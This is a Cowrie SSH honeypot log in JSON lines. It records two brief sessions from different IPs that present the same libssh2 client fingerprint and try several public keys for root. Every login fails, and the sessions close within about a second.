{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:22:47.325152Z","src_ip":"69.25.10.167","session":"bc6d75a97eea","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"58:53:ab:77:5a:99:c5:05:92:94:3d:3a:96:49:b9:2f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCE+bKm7ooKu/5ZrKPz5F/xtOoqCDCIetfy83iBQumpYJjj5MfeR9mE2Mm8wi9TxXuloDGzsqVFdIXbmDbR4cgZQqESmidllnqXv0Es9ABgxaxMeNkIEZaChbFqiX9Dn5C3G7mUW22yz+yMck6alZV0gjoRbO4RWScGUHdUboaty59ESFXNoT09VrBq5kNXr3WTWtdvmSgOuaQSXUIGpQhA9ipiMISjLkS+fd0mxMPYDXO1J3cfIWysbFuN3uTRegx1R0G31/Atj07bGUKioQw+jJjJLJA0Kd628Xylenzct+uT44VgwEgUOKk+U1VrlydpynHH6S4vHMJHzdLX+m2F","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 58:53:ab:77:5a:99:c5:05:92:94:3d:3a:96:49:b9:2f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:22:47.706086Z","src_ip":"69.25.10.167","session":"bc6d75a97eea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"58:53:ab:77:5a:99:c5:05:92:94:3d:3a:96:49:b9:2f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCE+bKm7ooKu/5ZrKPz5F/xtOoqCDCIetfy83iBQumpYJjj5MfeR9mE2Mm8wi9TxXuloDGzsqVFdIXbmDbR4cgZQqESmidllnqXv0Es9ABgxaxMeNkIEZaChbFqiX9Dn5C3G7mUW22yz+yMck6alZV0gjoRbO4RWScGUHdUboaty59ESFXNoT09VrBq5kNXr3WTWtdvmSgOuaQSXUIGpQhA9ipiMISjLkS+fd0mxMPYDXO1J3cfIWysbFuN3uTRegx1R0G31/Atj07bGUKioQw+jJjJLJA0Kd628Xylenzct+uT44VgwEgUOKk+U1VrlydpynHH6S4vHMJHzdLX+m2F","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:22:47.709930Z","src_ip":"69.25.10.167","session":"bc6d75a97eea","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"62:f9:cd:76:2e:88:c2:2b:a0:6f:89:c5:e2:e7:71:f4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDUUms/HdBbI0bOu+KfwB5/aEAYk0qWXShOW+Saz0oFbWfHnDSx2UvazpqpZR5YnDIjaZ1kTnmVlMPUroBoN3aRMJ9C1tZWo6HwZsbh8wroROKByEM3s+nisDCpSVu65sPfSLC/GJHI5u5QQ1izJnB0KqOp+MwV58uXIn5wYLNiFsdgQ13DBSpXJzjJs4dPFJnESOz2oNuDLmzLL4tEgx8oBh1OZyKAYfFsPLpCDazOorZQSmAC8U1AKnLBJ1yEjwTQm6JHByOah7QUL1CsRDm3uOJIOZPIs+j+990OokceZZDL4a1cMPAYscDRYPvVJR6jtahQzK0mimOsxKOaPluH","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 62:f9:cd:76:2e:88:c2:2b:a0:6f:89:c5:e2:e7:71:f4","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:22:47.828960Z","src_ip":"69.25.10.167","session":"bc6d75a97eea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"62:f9:cd:76:2e:88:c2:2b:a0:6f:89:c5:e2:e7:71:f4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDUUms/HdBbI0bOu+KfwB5/aEAYk0qWXShOW+Saz0oFbWfHnDSx2UvazpqpZR5YnDIjaZ1kTnmVlMPUroBoN3aRMJ9C1tZWo6HwZsbh8wroROKByEM3s+nisDCpSVu65sPfSLC/GJHI5u5QQ1izJnB0KqOp+MwV58uXIn5wYLNiFsdgQ13DBSpXJzjJs4dPFJnESOz2oNuDLmzLL4tEgx8oBh1OZyKAYfFsPLpCDazOorZQSmAC8U1AKnLBJ1yEjwTQm6JHByOah7QUL1CsRDm3uOJIOZPIs+j+990OokceZZDL4a1cMPAYscDRYPvVJR6jtahQzK0mimOsxKOaPluH","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:22:47.831527Z","src_ip":"69.25.10.167","session":"bc6d75a97eea","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"61:35:b4:66:c4:a2:e3:28:dc:93:fe:f7:4b:0e:4b:29","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCh1q0CN2v+rb3PcyAyrNrbK3+Xt2AZKmy4ZhO2TAFEDDtdQVk7bcBoihoyE67EisPox7fbuJUxwkyzY5oL18Xihlysv3P6q3vDPgFNgxW42+S5t89iMTqWkes0V/7oWQlJzysmAqtC90IwUvRR1VwWtmFpe2PYLOHwQtLDFJsN139kBanSBY0WdYboJTS5pQP4bMU8lZvUrkOv1u5qJT/OVvJwsvQfZOp3jng/OEB1vHpq+G59b/kSgxVBicL0tkQXlemMh/Th55HXGvtH7H2l5NYLHRMXvayH95SG4YC+RTE3y9yJkNsIsABD2bzY8bHOhIcqQ3YZ7V4WvpOCIIoXN/PvadhQCcXPIXYsGu+X6SvyuYRQAhx+bleqidd1VBdpf4C+ZZYXxn7oLUxYvnsGiF6tSAlJiuHvHGDPNi/u0Vkso/C7owUluDMy6vYiYYv7CzrwGSyMv0qB3VrUEXk3KCEyaie+TX7+6X0gmcHg+YG+UmqMrZPxAf4Ger+KwJ0=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 61:35:b4:66:c4:a2:e3:28:dc:93:fe:f7:4b:0e:4b:29","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:22:47.910227Z","src_ip":"69.25.10.167","session":"bc6d75a97eea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"61:35:b4:66:c4:a2:e3:28:dc:93:fe:f7:4b:0e:4b:29","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCh1q0CN2v+rb3PcyAyrNrbK3+Xt2AZKmy4ZhO2TAFEDDtdQVk7bcBoihoyE67EisPox7fbuJUxwkyzY5oL18Xihlysv3P6q3vDPgFNgxW42+S5t89iMTqWkes0V/7oWQlJzysmAqtC90IwUvRR1VwWtmFpe2PYLOHwQtLDFJsN139kBanSBY0WdYboJTS5pQP4bMU8lZvUrkOv1u5qJT/OVvJwsvQfZOp3jng/OEB1vHpq+G59b/kSgxVBicL0tkQXlemMh/Th55HXGvtH7H2l5NYLHRMXvayH95SG4YC+RTE3y9yJkNsIsABD2bzY8bHOhIcqQ3YZ7V4WvpOCIIoXN/PvadhQCcXPIXYsGu+X6SvyuYRQAhx+bleqidd1VBdpf4C+ZZYXxn7oLUxYvnsGiF6tSAlJiuHvHGDPNi/u0Vkso/C7owUluDMy6vYiYYv7CzrwGSyMv0qB3VrUEXk3KCEyaie+TX7+6X0gmcHg+YG+UmqMrZPxAf4Ger+KwJ0=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:22:47.913355Z","src_ip":"69.25.10.167","session":"bc6d75a97eea","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e6:04:f8:0a:d0:a1:52:ee:e5:aa:f9:6c:ec:bf:74:79","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC04cVLL39hKmOKnZVsjjmpeB1fy2+2cY/kbMJ8u9INAchhkg04xZVmydobLxLDi+hHHDTID5gNbUidztIunYvtEgfxfpy9kOe3+T2MtkbnscVP39xQ0BQfsZht9ym7fGvWf4NPOgLw/fddCIlyMA8FqQLoOGE8PiwwTZyxiHtHIovRd35BHUksk5GZgRECMUJD4zfoE0SO9aYbPKKruLNiV+BoFBc/o/udV+bZL6XCLsFSDvocBoR2c7yswuM45LwKYx6CL8KEez91AlZuuZNB9Kyjc95kInSE4j8BmD6E90NB2/34QNttAgZhDTn4DkB3S1fWIvUcoKGRrF0sZRY3","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e6:04:f8:0a:d0:a1:52:ee:e5:aa:f9:6c:ec:bf:74:79","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:22:47.992496Z","src_ip":"69.25.10.167","session":"bc6d75a97eea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e6:04:f8:0a:d0:a1:52:ee:e5:aa:f9:6c:ec:bf:74:79","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC04cVLL39hKmOKnZVsjjmpeB1fy2+2cY/kbMJ8u9INAchhkg04xZVmydobLxLDi+hHHDTID5gNbUidztIunYvtEgfxfpy9kOe3+T2MtkbnscVP39xQ0BQfsZht9ym7fGvWf4NPOgLw/fddCIlyMA8FqQLoOGE8PiwwTZyxiHtHIovRd35BHUksk5GZgRECMUJD4zfoE0SO9aYbPKKruLNiV+BoFBc/o/udV+bZL6XCLsFSDvocBoR2c7yswuM45LwKYx6CL8KEez91AlZuuZNB9Kyjc95kInSE4j8BmD6E90NB2/34QNttAgZhDTn4DkB3S1fWIvUcoKGRrF0sZRY3","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:22:47.995730Z","src_ip":"69.25.10.167","session":"bc6d75a97eea","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b2:af:9d:e9:e5:8b:69:85:6f:e2:e4:51:b5:65:e7:ef","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAILsu1QVVUfs5bDnTe8fcXVMF5kRA0JjhOwMwhc4dx73G","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint b2:af:9d:e9:e5:8b:69:85:6f:e2:e4:51:b5:65:e7:ef","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:22:48.077850Z","src_ip":"69.25.10.167","session":"bc6d75a97eea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b2:af:9d:e9:e5:8b:69:85:6f:e2:e4:51:b5:65:e7:ef","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAILsu1QVVUfs5bDnTe8fcXVMF5kRA0JjhOwMwhc4dx73G","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:22:48.081594Z","src_ip":"69.25.10.167","session":"bc6d75a97eea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:22:48.161635Z","src_ip":"69.25.10.167","session":"bc6d75a97eea","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.164.204","src_port":35564,"dst_ip":"10.17.0.5","dst_port":22,"session":"73241bd3af4e","protocol":"ssh","message":"New connection: 107.6.164.204:35564 (10.17.0.5:22) [session: 73241bd3af4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:22:53.903312Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:22:53.907411Z","src_ip":"107.6.164.204","session":"73241bd3af4e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:22:53.994748Z","src_ip":"107.6.164.204","session":"73241bd3af4e","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"58:53:ab:77:5a:99:c5:05:92:94:3d:3a:96:49:b9:2f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCE+bKm7ooKu/5ZrKPz5F/xtOoqCDCIetfy83iBQumpYJjj5MfeR9mE2Mm8wi9TxXuloDGzsqVFdIXbmDbR4cgZQqESmidllnqXv0Es9ABgxaxMeNkIEZaChbFqiX9Dn5C3G7mUW22yz+yMck6alZV0gjoRbO4RWScGUHdUboaty59ESFXNoT09VrBq5kNXr3WTWtdvmSgOuaQSXUIGpQhA9ipiMISjLkS+fd0mxMPYDXO1J3cfIWysbFuN3uTRegx1R0G31/Atj07bGUKioQw+jJjJLJA0Kd628Xylenzct+uT44VgwEgUOKk+U1VrlydpynHH6S4vHMJHzdLX+m2F","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 58:53:ab:77:5a:99:c5:05:92:94:3d:3a:96:49:b9:2f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:22:54.406189Z","src_ip":"107.6.164.204","session":"73241bd3af4e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"58:53:ab:77:5a:99:c5:05:92:94:3d:3a:96:49:b9:2f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCE+bKm7ooKu/5ZrKPz5F/xtOoqCDCIetfy83iBQumpYJjj5MfeR9mE2Mm8wi9TxXuloDGzsqVFdIXbmDbR4cgZQqESmidllnqXv0Es9ABgxaxMeNkIEZaChbFqiX9Dn5C3G7mUW22yz+yMck6alZV0gjoRbO4RWScGUHdUboaty59ESFXNoT09VrBq5kNXr3WTWtdvmSgOuaQSXUIGpQhA9ipiMISjLkS+fd0mxMPYDXO1J3cfIWysbFuN3uTRegx1R0G31/Atj07bGUKioQw+jJjJLJA0Kd628Xylenzct+uT44VgwEgUOKk+U1VrlydpynHH6S4vHMJHzdLX+m2F","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:22:54.410075Z","src_ip":"107.6.164.204","session":"73241bd3af4e","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"62:f9:cd:76:2e:88:c2:2b:a0:6f:89:c5:e2:e7:71:f4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDUUms/HdBbI0bOu+KfwB5/aEAYk0qWXShOW+Saz0oFbWfHnDSx2UvazpqpZR5YnDIjaZ1kTnmVlMPUroBoN3aRMJ9C1tZWo6HwZsbh8wroROKByEM3s+nisDCpSVu65sPfSLC/GJHI5u5QQ1izJnB0KqOp+MwV58uXIn5wYLNiFsdgQ13DBSpXJzjJs4dPFJnESOz2oNuDLmzLL4tEgx8oBh1OZyKAYfFsPLpCDazOorZQSmAC8U1AKnLBJ1yEjwTQm6JHByOah7QUL1CsRDm3uOJIOZPIs+j+990OokceZZDL4a1cMPAYscDRYPvVJR6jtahQzK0mimOsxKOaPluH","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 62:f9:cd:76:2e:88:c2:2b:a0:6f:89:c5:e2:e7:71:f4","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:22:54.497805Z","src_ip":"107.6.164.204","session":"73241bd3af4e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"62:f9:cd:76:2e:88:c2:2b:a0:6f:89:c5:e2:e7:71:f4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDUUms/HdBbI0bOu+KfwB5/aEAYk0qWXShOW+Saz0oFbWfHnDSx2UvazpqpZR5YnDIjaZ1kTnmVlMPUroBoN3aRMJ9C1tZWo6HwZsbh8wroROKByEM3s+nisDCpSVu65sPfSLC/GJHI5u5QQ1izJnB0KqOp+MwV58uXIn5wYLNiFsdgQ13DBSpXJzjJs4dPFJnESOz2oNuDLmzLL4tEgx8oBh1OZyKAYfFsPLpCDazOorZQSmAC8U1AKnLBJ1yEjwTQm6JHByOah7QUL1CsRDm3uOJIOZPIs+j+990OokceZZDL4a1cMPAYscDRYPvVJR6jtahQzK0mimOsxKOaPluH","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:22:54.502083Z","src_ip":"107.6.164.204","session":"73241bd3af4e","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"61:35:b4:66:c4:a2:e3:28:dc:93:fe:f7:4b:0e:4b:29","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCh1q0CN2v+rb3PcyAyrNrbK3+Xt2AZKmy4ZhO2TAFEDDtdQVk7bcBoihoyE67EisPox7fbuJUxwkyzY5oL18Xihlysv3P6q3vDPgFNgxW42+S5t89iMTqWkes0V/7oWQlJzysmAqtC90IwUvRR1VwWtmFpe2PYLOHwQtLDFJsN139kBanSBY0WdYboJTS5pQP4bMU8lZvUrkOv1u5qJT/OVvJwsvQfZOp3jng/OEB1vHpq+G59b/kSgxVBicL0tkQXlemMh/Th55HXGvtH7H2l5NYLHRMXvayH95SG4YC+RTE3y9yJkNsIsABD2bzY8bHOhIcqQ3YZ7V4WvpOCIIoXN/PvadhQCcXPIXYsGu+X6SvyuYRQAhx+bleqidd1VBdpf4C+ZZYXxn7oLUxYvnsGiF6tSAlJiuHvHGDPNi/u0Vkso/C7owUluDMy6vYiYYv7CzrwGSyMv0qB3VrUEXk3KCEyaie+TX7+6X0gmcHg+YG+UmqMrZPxAf4Ger+KwJ0=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 61:35:b4:66:c4:a2:e3:28:dc:93:fe:f7:4b:0e:4b:29","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:22:54.593561Z","src_ip":"107.6.164.204","session":"73241bd3af4e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"61:35:b4:66:c4:a2:e3:28:dc:93:fe:f7:4b:0e:4b:29","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCh1q0CN2v+rb3PcyAyrNrbK3+Xt2AZKmy4ZhO2TAFEDDtdQVk7bcBoihoyE67EisPox7fbuJUxwkyzY5oL18Xihlysv3P6q3vDPgFNgxW42+S5t89iMTqWkes0V/7oWQlJzysmAqtC90IwUvRR1VwWtmFpe2PYLOHwQtLDFJsN139kBanSBY0WdYboJTS5pQP4bMU8lZvUrkOv1u5qJT/OVvJwsvQfZOp3jng/OEB1vHpq+G59b/kSgxVBicL0tkQXlemMh/Th55HXGvtH7H2l5NYLHRMXvayH95SG4YC+RTE3y9yJkNsIsABD2bzY8bHOhIcqQ3YZ7V4WvpOCIIoXN/PvadhQCcXPIXYsGu+X6SvyuYRQAhx+bleqidd1VBdpf4C+ZZYXxn7oLUxYvnsGiF6tSAlJiuHvHGDPNi/u0Vkso/C7owUluDMy6vYiYYv7CzrwGSyMv0qB3VrUEXk3KCEyaie+TX7+6X0gmcHg+YG+UmqMrZPxAf4Ger+KwJ0=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:22:54.597067Z","src_ip":"107.6.164.204","session":"73241bd3af4e","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e6:04:f8:0a:d0:a1:52:ee:e5:aa:f9:6c:ec:bf:74:79","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC04cVLL39hKmOKnZVsjjmpeB1fy2+2cY/kbMJ8u9INAchhkg04xZVmydobLxLDi+hHHDTID5gNbUidztIunYvtEgfxfpy9kOe3+T2MtkbnscVP39xQ0BQfsZht9ym7fGvWf4NPOgLw/fddCIlyMA8FqQLoOGE8PiwwTZyxiHtHIovRd35BHUksk5GZgRECMUJD4zfoE0SO9aYbPKKruLNiV+BoFBc/o/udV+bZL6XCLsFSDvocBoR2c7yswuM45LwKYx6CL8KEez91AlZuuZNB9Kyjc95kInSE4j8BmD6E90NB2/34QNttAgZhDTn4DkB3S1fWIvUcoKGRrF0sZRY3","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e6:04:f8:0a:d0:a1:52:ee:e5:aa:f9:6c:ec:bf:74:79","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:22:54.684839Z","src_ip":"107.6.164.204","session":"73241bd3af4e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e6:04:f8:0a:d0:a1:52:ee:e5:aa:f9:6c:ec:bf:74:79","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC04cVLL39hKmOKnZVsjjmpeB1fy2+2cY/kbMJ8u9INAchhkg04xZVmydobLxLDi+hHHDTID5gNbUidztIunYvtEgfxfpy9kOe3+T2MtkbnscVP39xQ0BQfsZht9ym7fGvWf4NPOgLw/fddCIlyMA8FqQLoOGE8PiwwTZyxiHtHIovRd35BHUksk5GZgRECMUJD4zfoE0SO9aYbPKKruLNiV+BoFBc/o/udV+bZL6XCLsFSDvocBoR2c7yswuM45LwKYx6CL8KEez91AlZuuZNB9Kyjc95kInSE4j8BmD6E90NB2/34QNttAgZhDTn4DkB3S1fWIvUcoKGRrF0sZRY3","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:22:54.690979Z","src_ip":"107.6.164.204","session":"73241bd3af4e","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b2:af:9d:e9:e5:8b:69:85:6f:e2:e4:51:b5:65:e7:ef","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAILsu1QVVUfs5bDnTe8fcXVMF5kRA0JjhOwMwhc4dx73G","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint b2:af:9d:e9:e5:8b:69:85:6f:e2:e4:51:b5:65:e7:ef","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:22:54.780659Z","src_ip":"107.6.164.204","session":"73241bd3af4e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b2:af:9d:e9:e5:8b:69:85:6f:e2:e4:51:b5:65:e7:ef","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAILsu1QVVUfs5bDnTe8fcXVMF5kRA0JjhOwMwhc4dx73G","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:22:54.784798Z","src_ip":"107.6.164.204","session":"73241bd3af4e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:22:54.874370Z","src_ip":"107.6.164.204","session":"73241bd3af4e","protocol":"ssh"}
